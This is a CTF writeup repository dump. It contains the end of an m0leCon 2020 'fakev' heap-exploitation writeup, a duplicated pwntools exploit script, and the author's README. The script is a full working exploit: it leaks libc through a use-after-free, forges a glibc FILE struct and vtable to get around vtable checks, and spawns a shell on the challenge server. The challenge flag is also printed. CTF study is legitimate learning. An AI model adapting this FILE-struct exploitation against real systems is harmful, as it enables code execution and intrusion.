43 | The rest we need to do is to leak libc address and hijack the control flow when `fclose` is called on the fake file struct. Libc leaking can be done by filling up `tcache[0xf0]` and then using the first vuln (UAF in reading) to read content of the freed unsorted bin chunk.
44 |
45 | Controlling the program flow after `fclose` is called can be done by forging the vtable of the fake file struct. Of course, we can't just point it to any fake vtable because of `_IO_vtable_check`. Fake vtable should be placed inside of libc vtable section. After searching for the right function, we're faced with `_IO_str_overflow`. Just satisfy the requirements and call arbitrary code with controlled `rdi`.
46 |
47 | ```python
48 | from pwn import *
49 |
50 |
51 | def open_file(io, idx, fake_idx=None):
52 | io.sendlineafter(':', '1')
53 | if fake_idx is not None:
54 | io.sendafter(':', fake_idx)
55 | else:
56 | io.sendlineafter(':', str(idx))
57 |
58 |
59 | def read_content(io, idx):
60 | io.sendlineafter(':', '2')
61 | io.sendlineafter(':', str(idx))
62 |
63 |
64 | def close_file(io):
65 | io.sendlineafter(':', '4')
66 |
67 |
68 | def main():
69 | libc = ELF('./libc.so.6')
70 | io = remote('challs.m0lecon.it', 9013)
71 |
72 | for idx in range(1, 9):
73 | open_file(io, idx)
74 | for idx in range(8):
75 | close_file(io)
76 | log.info('tcache[0xf0] is filled up')
77 |
78 | read_content(io, 1)
79 | libc_arena = u64(io.recvn(17)[9:])
80 | libc_base = libc_arena - 0x3ebca0
81 |
82 | log.success('libc_arena @ ' + hex(libc_arena))
83 | log.success('libc_base @ ' + hex(libc_base))
84 |
85 | for idx in range(1, 9):
86 | open_file(io, idx)
87 | open_file(io, 1)
88 |
89 | vtable = libc_base + 0x3e82a0
90 | rdi = libc_base + next(libc.search('/bin/sh'))
91 | system = libc_base + libc.symbols['system']
92 |
93 | fake_file = ''
94 | fake_file += p64(0x2000) # flags
95 | fake_file += p64(0) # _IO_read_ptr
96 | fake_file += p64(0) # _IO_read_end
97 | fake_file += p64(0) # _IO_read_base
98 | fake_file += p64(0) # _IO_write_base
99 | fake_file += p64((rdi-100)/2) # _IO_write_ptr
100 | fake_file += p64(0) # _IO_write_end
101 | fake_file += p64(0) # _IO_buf_base
102 | fake_file += p64((rdi-100)/2) # _IO_buf_end
103 | fake_file += p64(0) # _IO_save_base
104 | fake_file += p64(0) # _IO_backup_base
105 | fake_file += p64(0) # _IO_save_end
106 | fake_file += p64(0) # _markers
107 | fake_file += p64(0) # _chain
108 | fake_file += p64(0) # _fileno
109 | fake_file += '\xff'*8
110 | fake_file += p64(0)
111 | fake_file += p64(0x602110)
112 |
113 | fake_file += '\xff'*8
114 | fake_file += p64(0)
115 | fake_file += p64(0x602108) # file
116 | fake_file += p64(0) # next
117 | fake_file += p64(0)
118 | fake_file += p64(0)
119 | fake_file += p64(0)
120 | fake_file += p64(0)
121 | fake_file += p64(0)
122 | fake_file += p64(vtable-0x3a8-0x88) # vtable
123 | fake_file += p64(system) # alloc_buffer
124 |
125 | payload = ''.join([
126 | '4'.ljust(8, '\x00'),
127 | fake_file
128 | ]).ljust(0x100, '\x00')
129 | io.send(payload)
130 | log.success('embeded fake file struct into linked list')
131 | log.info('triggering fclose on fake file struct...')
132 |
133 | io.sendline('cat flag.txt')
134 |
135 | io.interactive()
136 |
137 |
138 | if __name__ == '__main__':
139 | main()
140 | ```
141 |
142 | > ptm{pl4y1ng_w17h_5t4cks_4nd_f1l3s_f0r_fun_4nd_pr0f}
--------------------------------------------------------------------------------
/2020/m0leCon/fakev/fakev:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/m0leCon/fakev/fakev
--------------------------------------------------------------------------------
/2020/m0leCon/fakev/fakev.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 |
4 | def open_file(io, idx, fake_idx=None):
5 | io.sendlineafter(':', '1')
6 | if fake_idx is not None:
7 | io.sendafter(':', fake_idx)
8 | else:
9 | io.sendlineafter(':', str(idx))
10 |
11 |
12 | def read_content(io, idx):
13 | io.sendlineafter(':', '2')
14 | io.sendlineafter(':', str(idx))
15 |
16 |
17 | def close_file(io):
18 | io.sendlineafter(':', '4')
19 |
20 |
21 | def main():
22 | libc = ELF('./libc.so.6')
23 | io = remote('challs.m0lecon.it', 9013)
24 |
25 | for idx in range(1, 9):
26 | open_file(io, idx)
27 | for idx in range(8):
28 | close_file(io)
29 | log.info('tcache[0xf0] is filled up')
30 |
31 | read_content(io, 1)
32 | libc_arena = u64(io.recvn(17)[9:])
33 | libc_base = libc_arena - 0x3ebca0
34 |
35 | log.success('libc_arena @ ' + hex(libc_arena))
36 | log.success('libc_base @ ' + hex(libc_base))
37 |
38 | for idx in range(1, 9):
39 | open_file(io, idx)
40 | open_file(io, 1)
41 |
42 | vtable = libc_base + 0x3e82a0
43 | rdi = libc_base + next(libc.search('/bin/sh'))
44 | system = libc_base + libc.symbols['system']
45 |
46 | fake_file = ''
47 | fake_file += p64(0x2000) # flags
48 | fake_file += p64(0) # _IO_read_ptr
49 | fake_file += p64(0) # _IO_read_end
50 | fake_file += p64(0) # _IO_read_base
51 | fake_file += p64(0) # _IO_write_base
52 | fake_file += p64((rdi-100)/2) # _IO_write_ptr
53 | fake_file += p64(0) # _IO_write_end
54 | fake_file += p64(0) # _IO_buf_base
55 | fake_file += p64((rdi-100)/2) # _IO_buf_end
56 | fake_file += p64(0) # _IO_save_base
57 | fake_file += p64(0) # _IO_backup_base
58 | fake_file += p64(0) # _IO_save_end
59 | fake_file += p64(0) # _markers
60 | fake_file += p64(0) # _chain
61 | fake_file += p64(0) # _fileno
62 | fake_file += '\xff'*8
63 | fake_file += p64(0)
64 | fake_file += p64(0x602110)
65 |
66 | fake_file += '\xff'*8
67 | fake_file += p64(0)
68 | fake_file += p64(0x602108) # file
69 | fake_file += p64(0) # next
70 | fake_file += p64(0)
71 | fake_file += p64(0)
72 | fake_file += p64(0)
73 | fake_file += p64(0)
74 | fake_file += p64(0)
75 | fake_file += p64(vtable-0x3a8-0x88) # vtable
76 | fake_file += p64(system) # alloc_buffer
77 |
78 | payload = ''.join([
79 | '4'.ljust(8, '\x00'),
80 | fake_file
81 | ]).ljust(0x100, '\x00')
82 | io.send(payload)
83 | log.success('embeded fake file struct into linked list')
84 | log.info('triggering fclose on fake file struct...')
85 |
86 | io.sendline('cat flag.txt')
87 |
88 | io.interactive()
89 |
90 |
91 | if __name__ == '__main__':
92 | main()
--------------------------------------------------------------------------------
/2020/m0leCon/fakev/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/m0leCon/fakev/libc.so.6
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Prolog
2 |
3 | Sorry for my poor English, if you find any grammar mistake, then leave an issue or email me :)
4 |
5 | # WTF is CTF
6 |
7 | If you don't know what CTF is, then you can read about it [here](https://ctftime.org/ctf-wtf/). Basically, it's hacker competitions where you are given different tasks and the answer to a task is a string called **flag**.
8 |
9 | **Writeup** is a description of solution for a specific task.
10 |
11 | # General info
12 |
13 | Here are mostly my writeups for different CTF tasks. "Mostly" means that other people could took part in the solution as well as me. So, I will try to mention all of them :D
14 |
15 | All writeups are about __Reverse Engineering__ and __Binary Exploitation__ tasks. No crypto, forensics, and others. I'm not specialized in such categories. In case you want to explore writeups on other categories, then you can visit [VoidHack writeups page](https://github.com/VoidHack/write-ups) (people say it's a great resource to learn cool hacker stuff)
16 |
17 | I sorted all writeups by years and CTF names, so you're welcome to explore them! By the way, I will (at least, I will try to) mirror these writeups to [VoidHack writeups page](https://github.com/VoidHack/write-ups), so you can find them here or there.
18 |
19 | # About me
20 |
21 | My name is Mike (also known as "konata" and "merrychap") and I'm a member of [voidka](https://ctftime.org/team/11532) and [VoidHack](https://ctftime.org/team/21137) teams. I'm open to any discussion and you can contact me via email. Also, [my profile on ctftime](https://ctftime.org/user/11665)
22 |
23 | # Contributions
24 |
25 | If you find some bug or need an explanation on a weird place in a writeup, then leave an issue and I will try my best to recall what this writeup was about and add some details :D
--------------------------------------------------------------------------------